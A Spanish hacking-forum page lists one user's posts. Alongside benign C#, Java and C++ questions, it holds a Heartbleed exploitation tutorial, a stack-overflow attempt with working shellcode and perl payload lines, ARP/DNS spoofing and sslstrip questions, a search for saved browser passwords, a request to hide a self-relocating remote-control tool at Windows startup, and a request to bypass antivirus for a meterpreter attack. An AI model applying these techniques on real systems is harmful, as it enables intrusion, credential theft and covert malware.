Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Debci

#1
Buenas a todos, hoy he escrito un artículo en el que explico como realizar un ataque aprovechándonos de la archi-conocida CVE-2014-0160.

Para el que no lo sepa, el pasado 1 de Abril, fue descubierta esta vulnerabilidad de carácter crítico y es que muchos servidores muy importantes se han visto directamente afectados por esta, como Facebook, Google, Instagram, Tumblr... así como otras muchas muy importantes.

Esta vulnerabilidad permite al atacante mal-intencionado, revelar credenciales que hayan sido procesados por la capa del SSL vulnerable, permitiendo así que los datos sean revelados sin necesidad de asaltar el sistema.

Hoy te vamos a enseñar como funciona, demostrando la falla de seguridad en openSSL con Heartbleed, para que veas con tus propios ojos, lo importante de este fallo de seguridad.

En primer lugar, establezcamos el "scenario" de nuestro "ataque". Nos encontramos contra un servidor que hace uso de openSSL versión 1.0.1f, que para los mas curiosos puede ser descargado desde su web oficial para experimentar, con el siguiente comando:

root@hacklab:~# wget http://www.openssl.org/source/openssl-1.0.1f.tar.gz
--2014-05-01 11:51:01--  http://www.openssl.org/source/openssl-1.0.1f.tar.gz
Resolviendo www.openssl.org (www.openssl.org)... 185.9.166.106
Conectando con www.openssl.org (www.openssl.org)[185.9.166.106]:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 4509212 (4,3M) [application/x-gzip]
Grabando a: "openssl-1.0.1f.tar.gz"

100%[======================================>] 4.509.212   1,01M/s   en 4,8s   

2014-05-01 11:51:07 (913 KB/s) - "openssl-1.0.1f.tar.gz" guardado [4509212/4509212]

Una vez tenemos claro el escenario, vamos a ver que clase de fingerprint debemos encontrar, para obtener un vector potencial de ataque, pues los chicos de nmap ya se han currado un script para hacerle un fingerprint y detectar si el servidor posee una versión vulnerable. Para instalarlos vamos a proceder con los siguientes comandos:

root@hacklab:~# cd /usr/share/nmap/scripts/
root@hacklab:/usr/share/nmap/scripts# wget https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse
--2014-05-01 11:56:34--  https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse
Resolviendo svn.nmap.org (svn.nmap.org)... 173.255.243.189
Conectando con svn.nmap.org (svn.nmap.org)[173.255.243.189]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 8069 (7,9K) [text/plain]
Grabando a: "ssl-heartbleed.nse"

100%[======================================>] 8.069       --.-K/s   en 0,006s 

2014-05-01 11:56:36 (1,25 MB/s) - "ssl-heartbleed.nse" guardado [8069/8069]

root@hacklab:/usr/share/nmap/scripts# cd ..
root@hacklab:/usr/share/nmap# cd nselib/
root@hacklab:/usr/share/nmap/nselib# wget https://svn.nmap.org/nmap/nselib/tls.lua
--2014-05-01 11:57:17--  https://svn.nmap.org/nmap/nselib/tls.lua
Resolviendo svn.nmap.org (svn.nmap.org)... 173.255.243.189
Conectando con svn.nmap.org (svn.nmap.org)[173.255.243.189]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 38605 (38K) [text/plain]
Grabando a: "tls.lua"

100%[======================================>] 38.605       147K/s   en 0,3s   

2014-05-01 11:57:19 (147 KB/s) - "tls.lua" guardado [38605/38605]

Una vez instalado, procedemos a lanzar el escaneo correspondiente, con el siguiente comando:

root@hacklab:~# nmap -sV -p 443 --script=ssl-heartbleed.nse xxxx.cat
Nmap scan report for xxxxxx (xxx.xxx.xxx.xxx)
Host is up (0.0059s latency).
Not shown: 992 closed ports
PORT     STATE SERVICE     VERSION
443/tcp  open  ssl         OpenSSL (SSLv3)
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|     Description:
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|       http://www.openssl.org/news/secadv_20140407.txt
|_      http://cvedetails.com/cve/2014-0160/
Service Info: Host: xxx; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Para nosotros, esto es una victoria!

Vamos a usar ahora alguno de los famosos PoC (Proof of concept para los lusers :D ), que podemos encontrar en alguno de nuestros amados repositorios de vulnerabilidades como exploitDB. Para descargarlo, tan solo tenemos que acudir al siguiente enlace y descargar el script o copiar el código en un fichero con extensión .py y darle permisos de ejecución para lanzarlo con el intérprete. Sin más, el enlace:

http://www.exploit-db.com/exploits/32764/

Para ejecutar el código, vamos a lanzar el siguiente comando:

root@hacklab:~# python 32764.py xxxxx.cat -p 443
...
WARNING: server returned more data than it should - server is vulnerable!

Qué acaba de hacer este exploit? Vamos a explicarlo, puesto que es muy importante saber por qué falla.

Vamos a considerar la conexión a la layer del SSL como un diálogo entre cliente y servidor con SSL, que podría ejemplificarse así:

-Servidor, estás ahí? Si es así, devuélveme la palabra "Undersecured" cifrada, de 12 letras.

-Andoni quiere "Undersecured". Toma Undersecured.


Sencillo verdad? Le pedimos contenido "seguro" al servidor que supuestamente no podrá ser esnifado, puesto que viene cifrado. Nuestro fallo viene dado por hacerle creer al servidor que unos credenciales son nuestros pidiendo más información de la que nos corresponde:

-Servidor, estás ahí? Si es así devuélveme la palabra "membrillo" cifrada, de 520 letras.

-Andoni quiere "membrillo". Toma "membrillo pepe contraseña123 loko94 contraseñachulikah morenika92 adoroelmembrillo..."


Obteniendo así del servidor, credenciales que fueron securizados con anterioridad permitiéndonos verlos en plain-text disponibles para ser usado con el consiguiente robo de información y credenciales.

Como ampliación, y tal como presume el genial Chema Alonso en su blog, este ataque podría automatizarse de forma muy sencilla haciendo uso de Python o Bash Script,haciendo que dicho exploit se vaya lanzando, por ejemplo cada 10 segundos y así atrapar toda la información que los usuarios descuidados vayan introduciendo, creyendo que una layer SSL les hace inmunes.

Recordad que este ataque, no es mas que una simulación realizada con mis propios servidor y que ni yo ni nadie se hace responsable del mal uso o el uso mal intencionado que se le pueda dar a esta información.

Sed responsables and keep on hacking!

Si os ha gustado, sería genial que compartieseis el enlace a mi página web y por supuesto, que me mandéis todas vuestras peticiones/críticas/sugerencias/agradecimientos.

http://www.undersecured.com/blog/demostrando-la-falla-de-seguridad-en-openssl-con-heartbleed/

Un saludo!
#2
Buenas a todos, compañeros foreros, estoy trabajando este programa, al cual intento inyectar una shellcode:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void premio() {
printf("El flujo de código ha sido modificado.\n");
}

int main(int argc, char **argv) {
char buffer[64];
gets(buffer);
}


Y genero shellcode con el siguiente comando:


root@debci-lab:/usr/share/metasploit-framework/tools# msfpayload linux/x86/exec CMD="/sbin/reboot" P
# linux/x86/exec - 48 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=/sbin/reboot
my $buf =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" .
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00" .
"\x00\x2f\x73\x62\x69\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x00" .
"\x57\x53\x89\xe1\xcd\x80";


Y usando el pattern match de msf, me dice que la return address está en un offset de 76 a partir del buffer. Por tanto hago lo siguiente:

[28 NOPS] + [48 PAYLOAD] + [4 RTN ADDRESS]

Para calcular la RTN address, he hecho lo siguiente (la dirección de mi buffer):

gdb poc
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/testOverflow/poc...done.
(gdb) break main
Breakpoint 1 at 0x8048469: file test.c, line 12.
(gdb) run
Starting program: /root/testOverflow/poc

Breakpoint 1, main (argc=1, argv=0xbffff584) at test.c:12
12 gets(buffer);
(gdb) print &buffer
1 = (char (*)[64]) 0xbffff490
(gdb) quit
A debugging session is active.

Inferior 1 [process 10092] will be killed.

Quit anyway? (y or n) y


Por tanto me queda así el buffer que mando, sabiendo que la address del buffer es 0xbffff490:


perl -e 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00\x00\x2f\x73\x62\x69\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x00\x57\x53\x89\xe1\xcd\x80". "\x90"x28 . "\x90\xf4\xff\bf"'

Pero solamente obtengo un "Violación del segmento".

Para asegurarme que el buffer está bien calculado en tamaño, hago lo siguiente:

perl -e 'print "\x90"x28 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00\x00\x2f\x73\x62\x69\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x00\x57\x53\x89\xe1\xcd\x80" . "\x4c\x84\x04\x08"' | ./poc
El flujo de código ha sido modificado.
Violación de segmento


Sabiendo que la dirección de premio() es 0x0804844c, que he conseguido gracias a objdump.

Qué estoy haciendo mal? Abordando el problema usando la ADDR de premio(), llego a la conclusión de que la dirección de salto es incorrecta o que el payload está mal generado?

Estoy cómo loco y no sé que diablos me pasa...
#3
Java / MOVIDO: JAVA
3 Febrero 2014, 00:43 AM
#4
Buenas a todos!
Alguien tiene algo de información sobre como está cifrado el fichero de contraseñas de firefox, el famoso signons.sqlite?

Leo y leo pero no hay nada explícito y habiendo probado ya varias cosas, no logro descifrar ninguna contraseña.

Se supone que hay una masterkey en key3.db, pero yo no la fijé. Alguien puede arrojar luz al asunto?

Saludos
#5
Java / MOVIDO: Java no me funciona
14 Julio 2013, 12:16 PM
#6
Unix/Unix-Like / Alguien tiene Luxur 0.0.7?
26 Junio 2013, 22:17 PM
Hola amigos foreros!

Alguien tiene para pasarme el source de luxur 0.0.7? La página web está caída y el que mantiene el proyecto, me ha dicho que lo pida por aquí porque él no conserva nada...

Sería posible que algún alma caritativa me lo pasase?

Un saludo y gracias de antemano.
#7
Buenas noches foreros!
Hoy vengo a plantearos unas cuantas dudas y unos cuantos comentarios sobre ciertos métodos y herramientas como el DNS Spoofing y el ARP Poisoning, a su vez también sobre Ettercap o la suite dsniff.

Debci's Tertulia


En primer lugar, unas cuantas dudas básicas que me rondan la cabeza (las enumero para facilitar su respuesta :D ):

1-En ocasiones tengo problema para hacer un ataque Mitm, porque por algún motivo, no logro por ejemplo redireccionar mediante DNS Spoofing a la víctima a mi web maliciosa. Con ettercap, una vez todo el proceso esta funcionando, ejecuto el plugin chk_poison y este me dice que el envenenamiento ARP está funcionando y además, en mi própia wlan, me he permitido el lujo de comprobar las tablas mediante:
arp -a
Y puedo observar como mi dirección física se asocia a la del enrutador, es decir que en principio esta funcionando.
Sin embargo al ejecutar el plugin de dns spoof (modificando previamente el fichero etter.dns para hacer las correspondientes redireciones), observo que el equipo víctima se queda sin conexión a internet, es decir, sigue autentificado, pero su navegador no carga ninguna página (cabe mencionar, que mediante el dns spoof estoy redirecionando todas las páginas, marcadas mediante el caracter '*' a mi própio webserver).El webserver malicioso funciona correctamente puesto, que he comprobado que se puede acceder a él desde la máquina víctima y logra infectar como es debido. Que puede estar ocurriendo? Me pasa en muchas redes, pero en concreto en la mía, es quizás por ettercap? Es quizás por el modelo de mi tarjeta de red (creo que soporta modo monitor)?

2-Tras trabajar un poco con otras suite's para sniffing y ataques Mitm diferentes a Ettercap, como por ejemplo dsniff y Wireshark, se me aparecen dos dudas:
2.1-Si consigo hacer funcionar el ARP poison de ettercap, puedo sniffar o hacer el dns spoof con otra suite? supongo que sí no?
2.2-Cuando analizo las trazas de paquetes con wireshark, es dificil distinguir tanta información, se que tiene un completo sistema de filtros, que ya   he tenido el placer de usar en várias ocasiones. Que se supone que debería observar ante un envenenamiento ARP? Que protocolo me lo muestra? ARP? Cuando? Veo muchos paquetes ARP durante el ataque.

3-Exactamente, cuando seleciono en Ettercap o Dsniff las IP's de la gateway y del cliente al que quiero atacar, a que Target (Target 1 o Target 2 según la nomenclatura del programa), corresponde cada una? Lo digo porque en la mayoría de guías, veo que hace seleccionar todos los clientes/IP's de la lan en ambas Targets y quería aclararme al respecto, ya sea que de igual o que de una manera u otra se consigan resultados distintos.

4-Tengo varios filtros para Ettercap preprogramados o sacados de alguna guía tutorial, en concreto uno, que me trae de cabeza, el cual me dispongo a mostraros:
 
############################################################################
#                                                                          #
#  Jolly Pwned -- ig.filter -- filter source file                          #
#                                                                          #
#  By Irongeek. based on code from ALoR & NaGA                             #
#  Along with some help from Kev and jon.dmml                              #
#  http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833              #
#                                                                          #
#  This program is free software; you can redistribute it and/or modify    #
#  it under the terms of the GNU General Public License as published by    #
#  the Free Software Foundation; either version 2 of the License, or       #
#  (at your option) any later version.                                     #
#                                                                          #
############################################################################
if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
  # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
   replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
   msg("Filter Ran.\n");
}

Hace un par de días, en mi casa, me puse a probarlo, como ya he comentado, suponiendo que el ARP Poisoning funcionaba a la perfección y el resto de historias, correctas. Para mi sorpresa, el filtro arrojaba muchos "zapped Accept-Encoding", por lo que entiendo que había sustituido en la cabecera por "Accept-Rubbish!", pero esto me resultaba de poca utilidad, puesto que lo que yo quería era modificar las imagenes o tan solo algo visible. En algunas ocasiones, salía "Filter ran", pero supuestamente afectaba a otro dispositivo de la red (digo supuestamente porque en mi casa somos 5, con móbiles, tablets, mas pc's, consolas), pero no pude determinar dónde. Supongo que funcionó a medias.
La cosa es que yo cargaba alguna página y saltaban los zap's del primer filtro, y por mas imágenes que había no las sustituia y me aseguré de que en las páginas que visitaba existiesen las tags que han de ser substituidas. Debo suponer entonces que es cuestión de equipos? De páginas? De navegadores? O simplemente el ataque no funcionó como debiere?
Intenté buscar también con Wireshark, pero no sabía ni por donde empezar. Puedo ver en los paquetes el código html que me remite el servidor? Yo no lo consigo, por ignorante, por supuesto.

5-Configuración requerida:
Puse el ip_forwading a 1, se necesita algo mas?

6-Tendré mas posibilidades de que mi ataque sea mas certero, si me conecto mediante un enlace físico (el cable de toda la vida) envezde mediante la wlan?

7-He pensado que quizás los filtros que no funcionaban fuesen porque visitase páginas de tráfico seguro (ssl-https), pero visité muchas (o todas) sin ninguna protección. Ssltrip, parece muy sencillo de usar, tanto que no se si lo estoy haciendo correctamente :O
sslstrip -w micaptura.cap
Y una vez en este, en principio el tráfico ssl ya será legible, pero... como busco entre tanta morralla información de valor, como credenciales?

Eso es todo por esta noche, se que es mucho para contestar, pero yo agradezco de ante mano que me hayáis leído.

Un saludo y un abrazo para todos!

#8
Nivel Web / Problemas explotando un Worpress
20 Abril 2013, 15:41 PM
Hola amigos. Estoy auditando mi servidor, donde tenía instalado un wordpress, que para mi sorpresa ha sido vulnerable a 2 explots distintos, que os listo aquí y os comento el problema:

1-http://packetstormsecurity.com/files/113254
Simplemente, intento recrear la petición que sugieren en el paper con la burpsuite y algo no funciona como debiere. No estoy seguro de si se puede hacer sin tener permisos de administración (vaya cosa no?).Obtengo la siguiente respuesta:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
Request header field is missing ':' separator.<br />
<pre>
wp-settings-time-1=1335371272; wordpress_test_cookie=WP+Cookie+check;</pre>
</p>
</body></html>

SI debo poseer una cookie de admin para hacerlo... que utilidad tiene?

2-http://www.exploit-db.com/exploits/18791/
Tengo que secuestrar un token? No se exactamente como funciona, he estado leyendo y creo que necesito igual permisos de admin sobre el blog.

Alguien puede arrojarme luz sobre el asunto?

Saludos :)
#9
Hola amigos :)

Os traigo una duda que tengo con la librería regexp de Java, mas en concreto, con las expresiones que esta debe buscar a partir del patrón de la cadena.

Tengo varias strings del tipo:
Código (html4strict) [Seleccionar]

<div class="plist-manufacturer">
<a href="http:\\linkcualquiera">Nombre</a>
</div>


Y lo que necesito es extraer el dato que ocupa el lugar de "Nombre".
Para ello he empezado a trabajar con regexp, pero no logro dar con la expresión que me permita obtener dicho dato:
Código (java) [Seleccionar]

        Pattern patronAutores = Pattern.compile("<a\\b[^>]*href=\"[^>]*>(.*?)</a>");
        Matcher encontrado = patronAutores.matcher(stringToParse);
        return encontrado.group(1);


Me devuelve que no ha sido encontrado nada...
Alguien tiene idea de cómo podría hacerlo?

Saludos
#10
Hola amigos del foro!

Estoy investigando alguna forma de obtener las contraseñas guardadas por nuestros navegadores.
He estado investigando y aparentemente Mozilla Firefox y Google Chrome guardan sus contraseñas en un supuesto archivo base de datos del tipo SQLite.
He intentado abrir dicho archivo de chrome y no hay manera de leer nada.
Alguien tiene información al respecto? No encuentro nada por ningún lado, ni siquiera se si es correcto que se guarden en dichos archivos.

Alguien puede arrojar luz sobre el asunto?
#11
Hola compañeros, hace tiempo que no me paso por esta sección del foro y ahora os traigo una duda relativa a un proyecto que estoy desarrollando.

Estoy desarrollando una herramienta de control remoto de la cual requiero que se ejecute al iniciar Windows. Esta herramienta esta desarrollada en Java, por lo que es un archivo con extensión .jar una vez compilado el código (ya me entendéis con "compilador" :P).

Yo lo hago de la siguiente forma:

-Accedo al registro de Windows mediante la herramienta de sistema regedit.exe
-Busco el directorio de claves "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run"
-Añado una nueva clave de registro, como por ejemplo:
java -jar "C:\Midirectorio\nombreArchivo.jar"

La idea es hacerlo desde la propia aplicación, que en principio no es mi gran problema ahora mismo, pues existe una API para poder realizar dicha tarea.

Entonces ocurre algo que no esperaba, me lanza mi aplicación, que en principio no tiene GUI, pero sin embargo es visible porque se ejecuta en una ventana de consola de sistema tipo DOS.
Hay alguna manera de ejecutarlo en quiet-mode u ocultar dicha ventana?
Este tema me trae de cabeza.
A resumidas cuentas, mi pregunta es:
-Como podría ejecutar un jar al iniciar windows, de forma invisible? (al menos en el escritorio, ya que, se que se vería en la lista de procesos y la máquina virtual, levantaría sospechas)

Además se me ocurre otro problema, una vez alguien haya descargado mi aplicación, deseo que esta se mueva a otro directorio, menos accesible para el usuario. Técnicamente, como puedo lograr esto? No puedo mover mi aplicación si esta se está ejecutando, además de que no tengo nada con que moverlo, porque, no es técnicamente imposible que se mueva a si misma?

Muchísimas gracias por vuestro tiempo :)

Un cordial saludo!
#12
Hola amigotes? Como ha ido el fin del mundo?
Yo os traigo banda sonora.
Espero que os guste, pues, espero vuestras críticas y/o opiniones (siempre constructivas claro) jaja

[youtube=640,360]https://www.youtube.com/watch?v=apJ2XQIiovc[/youtube]

Saludos!
#13
Hola a todos los foreros, compañero de elhacker.net

Tras mucho tiempo sin hacer nada de C++ me he dispuesto a practicar un poco, con algunos sockets y threads.
El problema es que no estoy muy seguro de como funciona la cosa (que fácil es en Java...).
La idea es un servidor que esta esperando siempre a un cliente para recibir de este, un buffer con una cadena de texto que mostrará por pantalla.
La idea, para probarlo, ha sido que el cliente dentro de un while, y este dentro de la acción que se introduce a thread, se dedique a enviar de forma indefinida una cadena de texto.
Sin mas os dejo el código fuente:

Todo, esta realizado con el IDE codeblocks y el entorno MinGW.

Cliente:
Código (cpp) [Seleccionar]

#include <iostream>
#include <windows.h>
#define PUERTO 8080
#include <process.h>
using namespace std;

WSADATA wsa;
SOCKET cliente;
sockaddr_in remoto;

int error();

void Thread( void* pParams )
  {
    if(WSAStartup(MAKEWORD(2,2), &wsa)){

    }
    remoto.sin_family = AF_INET;
    remoto.sin_port = htons(PUERTO);                                    // Puerto donde nos conectaremos
    //remoto.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");             // IP del servidor a donde nos conectaremos
    remoto.sin_addr = *((in_addr*)gethostbyname("localhost")->h_addr);  // Host a donde nos conectaremos
    while(1){
    cliente = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);        // Protocolo TCP
    if(cliente == INVALID_SOCKET){

    }
    if(connect(cliente, (sockaddr*)&remoto, sizeof(sockaddr))){     // Conectamos con el servidor

    }
    string buffer = "Hola, soy un cliente en C++!";
    send(cliente, buffer.c_str(), buffer.length(), 0);                          // Enviamos un saludo
    closesocket(cliente);                                                       // Finalmente desconectamos...
    WSACleanup();
    }
  }

int main(){
    _beginthread( Thread, 0, NULL );


    return 0;
}


Servidor:
Código (cpp) [Seleccionar]

#include <iostream>
#include <windows.h>
#pragma comment(lib, "Ws2_32.lib")
#define PUERTO 8080
#include <pthread.h>

using namespace std;

WSADATA wsa;
pthread_t hilo;
SOCKET servidor, nueva_conexion;
sockaddr_in local;

int error();

int main(){
    local.sin_port = htons(PUERTO);         
    local.sin_family = AF_INET;           
    local.sin_addr.S_un.S_addr = INADDR_ANY; 

    if(WSAStartup(MAKEWORD(2,2), &wsa)){
        return error();
    }
    servidor = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
    if(servidor == INVALID_SOCKET){
        return error();
    }
    if(bind(servidor, (sockaddr*)&local, sizeof(sockaddr)) == SOCKET_ERROR){
        return error();
    }

    if(listen(servidor, 1) == SOCKET_ERROR){   
        return error();
    }

    cout << "Servidor a la escucha por el puerto " << PUERTO << ", esperando conexión." << endl;
while(1){
    do{
        nueva_conexion = accept(servidor, NULL, NULL); // Esperamos una conexión entrante y la aceptamos.
    } while(nueva_conexion == SOCKET_ERROR);

    string mensaje = "Servidor C++!";

    send(nueva_conexion, mensaje.c_str(), mensaje.length(), 0); // Enviamos un mensaje al cliente conectado

    int bytes_recv;
    char buffer[256];



        memset(buffer, 0, sizeof(buffer)); // Limpiamos el buffer.
    do{
        bytes_recv = recv(nueva_conexion, buffer, sizeof(buffer), 0);   // Esperamos para recibir datos...
    } while(bytes_recv == 0 && bytes_recv != SOCKET_ERROR);

    if(bytes_recv > 0){
        cout << "Buffer: " << buffer << " - Bytes recibidos: " << bytes_recv << endl;

    }

}
    closesocket(nueva_conexion);                                    // Lo desconectamos!

    WSACleanup();

    return 0;
}

int error(){
    cout << "Error #" << GetLastError() << endl;
    WSACleanup();

    return 0;
}


El problema aparece, cuando al ejecutar el cliente, este ni siquiera comienza el bucle, es decir, el thread no se inicia o por algún motivo esta mal usada la función.

Gracias por vuestro tiempo.
Un saludo
#14
Java / MOVIDO: hp programando
5 Agosto 2011, 11:08 AM
El tema ha sido movido a Programación General.

http://foro.elhacker.net/index.php?topic=335594.0
Leete las normas para que esto no vuelva a ocurrir.
#15
Sinceramente, después de la espera y considerando lo que lleva, hablando en plata, es pura *****...
http://www.pixmania.com/es/es/10194907/art/samsung/chromebook-serie-5-wifi.html?key=Ykx+dRY9aOmMcdspUmAEU39BRXVQStbpH+sQNFNiMR4sJUN1ObDcKYx/VGIAVn9JQHZYWg==

400-500€? como un laptop decente solo que carente de funcionalidades y un S.O. nuevo que en principio anda bastante capado (no digo que sea malo, pero por ahora limitado).

Un saludo
#16
Foro Libre / De que está hecha tu bufanda?
30 Marzo 2011, 22:58 PM
No escribiré nada mas que esto...
http://features.peta.org/ChineseFurFarms/index.asp

Terrible!
#17
He visto algo impresionante, y ahora siento curiosidad, alguno de vosotros sabe como se llama esta tecnologia?

http://www.youtube.com/watch?v=6Cf7IL_eZ38


Saludos
#18
Hacking / Mini-problema con Dsniff
17 Marzo 2011, 20:05 PM
Muy buenas a todos, he estado haciendo varias prácticas de ataques en Lan, y hoy en concreto me he lanzado con Dsniff, primero he intentado capturar mis propias contraseñas, poniendolo a la escucha en, de la siguiente manera:
dsniff -i wlan1

Y he intentado conectarme a mi servidor FTP a través de consola para ver si surgia efecto, pero nada, no hay salida alguna por consola.
Es posible hacer lo que intento o estoy caminando hacia una pared?

Saludos
#19
Hoy he retomado mi aprendizaje, he vuelto a hacer unas cuantas pruebas con dos PC, en Lan, mi laptop y un netbook que tengo.

Software usado:

Metasploit Framework
NMAP
Hping
Ettercap
SET (Social Engineering Toolkit)

Mapa del laboratorio:

2 equipos conectados a través de WLAN

No hay un router que haga de firewall ni nada por el estilo, una conexión casera sin nada fuera de lo cotidiano.

El SO del atacante es Backtrack 4 R2 y el PC víctima tiene un Windows SP3

Tipo de ataque:

Se ha creado un servidor web con un APPLET infectado por un payload meterpreter, dejando el equipo atacante a la escucha de una conexión entrante.

La idea es "obligar" al equipo víctima a visitar dicha página, spoofeada de alguna conocida, para que quede infectado y lograr el control remoto del equipo víctima.

Problemas que se plantean:

Este ataque funciona perfectamente bajo el uso de Ettercap y si el equipo víctima no tiene el antivirus activado.
Cuando activo el antivirus en el equipo víctima, el ARP Spoof y el DNS spoof dejan de funcionar como deberían y en consecuencia el ataque no concluye con éxito.


Alguien tiene algún consejo para bypassear el Antivirus?
#20
Foro Libre / Que hacer?
2 Noviembre 2010, 22:26 PM
No os habeis sentido alguna vez vacios?
Que no sabeis que hacer para llenaros?
Me siento asi ahora mismo...
Que deberia hacer en este caso?
Seguir deprimiendome por nada?

Saludos
#21
.NET (C#, VB.NET, ASP) / [Source]Control de nodos
29 Octubre 2010, 21:49 PM
Bueno, he acabado mi propio ejercicio tras varios dias de dejarlo de lado, es muy sencillo, un control de nodos.
Los componentes de la gui se presuponen facilmente viendo el codigo:

-3 Botones
-1 TreeView

Aqui mi codigo :P

Código (csharp) [Seleccionar]


using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace Pruebas
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            if (nombreNodo.Text == "")
            {
                TreeNode nodo = new TreeNode("NoName");
                nodos.Nodes.Add(nodo);
            }
            else
            {
                TreeNode nodo = new TreeNode(nombreNodo.Text);
                nodos.Nodes.Add(nodo);
            }
           
           
            nombreNodo.Text = "";
        }

        private void button2_Click(object sender, EventArgs e)
        {
            TreeNode nodo2 = nodos.SelectedNode;
            if(nombreNodo.Text == "") {
                nodo2.Nodes.Add("NoName");
            } else {
                nodo2.Nodes.Add(nombreNodo.Text);
            }
            nombreNodo.Text = "";
        }

        private void button3_Click(object sender, EventArgs e)
        {
            nodos.Nodes.Remove(nodos.SelectedNode);
        }
    }
}
#22
Buenas a todos, me presento y me estreno en este foro :P
Hace ya un tiempo tenia ganas de meterme en esto del C# y el .NET en general (Yo vengo de C++ y Java), gracias al amigo D4N93R, se me pusieron los dientes largos y decidí probarlo :P

Ahora os traigo mi primera duda, estoy diseñando una aplicación sencilla, como ejercicio, y pretendo hacerla bastante dinamica.
Es basicamente un programa en el que tu introduces un nombre en una textBox y mediante un boton lo escribes y vas añadiendo en forma de nodos de un arbol a un TreeView.

El problema se presenta cuando quiero añadir un nodo dentro de otro nodo.
Es posible hacerlo? Como?

Os dejo el codigo que tengo hecho:

Código (csharp) [Seleccionar]
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace WindowsFormsApplication1
{
   public partial class Form1 : Form
   {
       public Form1()
       {
           InitializeComponent();
       }

       private void Form1_Load(object sender, EventArgs e)
       {
           
           
       }

       private void introducir_Click(object sender, EventArgs e)
       {
           TreeNode nodo = new TreeNode(nombreNodo.Text);
           arbolClientes.Nodes.Add(nodo);
       }
   }
}




EDITO: Solucionado xD ahora me salta el problema que no se como volver a la raiz, osea dejar de añadir sub-nodos dentro de uno general xD Tengo la sospecha de que debo cambiar el selected node, el problema es que no se detectar si hay alguno selecionado, no se si existe alguna condicion.

Os dejo el nuevo codigo:

Código (csharp) [Seleccionar]


using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace WindowsFormsApplication1
{
    public partial class Form1 : Form
    {
        public TreeNode nodo;
        public TreeNode nodo1;
        public Dictionary<String, TreeNode> biblioteca;
        public Boolean primera = true;
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
           
           
        }

        private void introducir_Click(object sender, EventArgs e)
        {
            nodo = new TreeNode(nombreNodo.Text);
            if (primera)
            {
                arbolClientes.Nodes.Add(nodo);
                primera = false;
            }
            else
            {
                arbolClientes.SelectedNode.Nodes.Add(nodo);
            }
           
        }

        private void btnBorrar_Click(object sender, EventArgs e)
        {
            arbolClientes.Nodes.Remove(arbolClientes.SelectedNode);
        }
    }
}


Saludos a todos :D
#23
Muy buenas noches a todos!
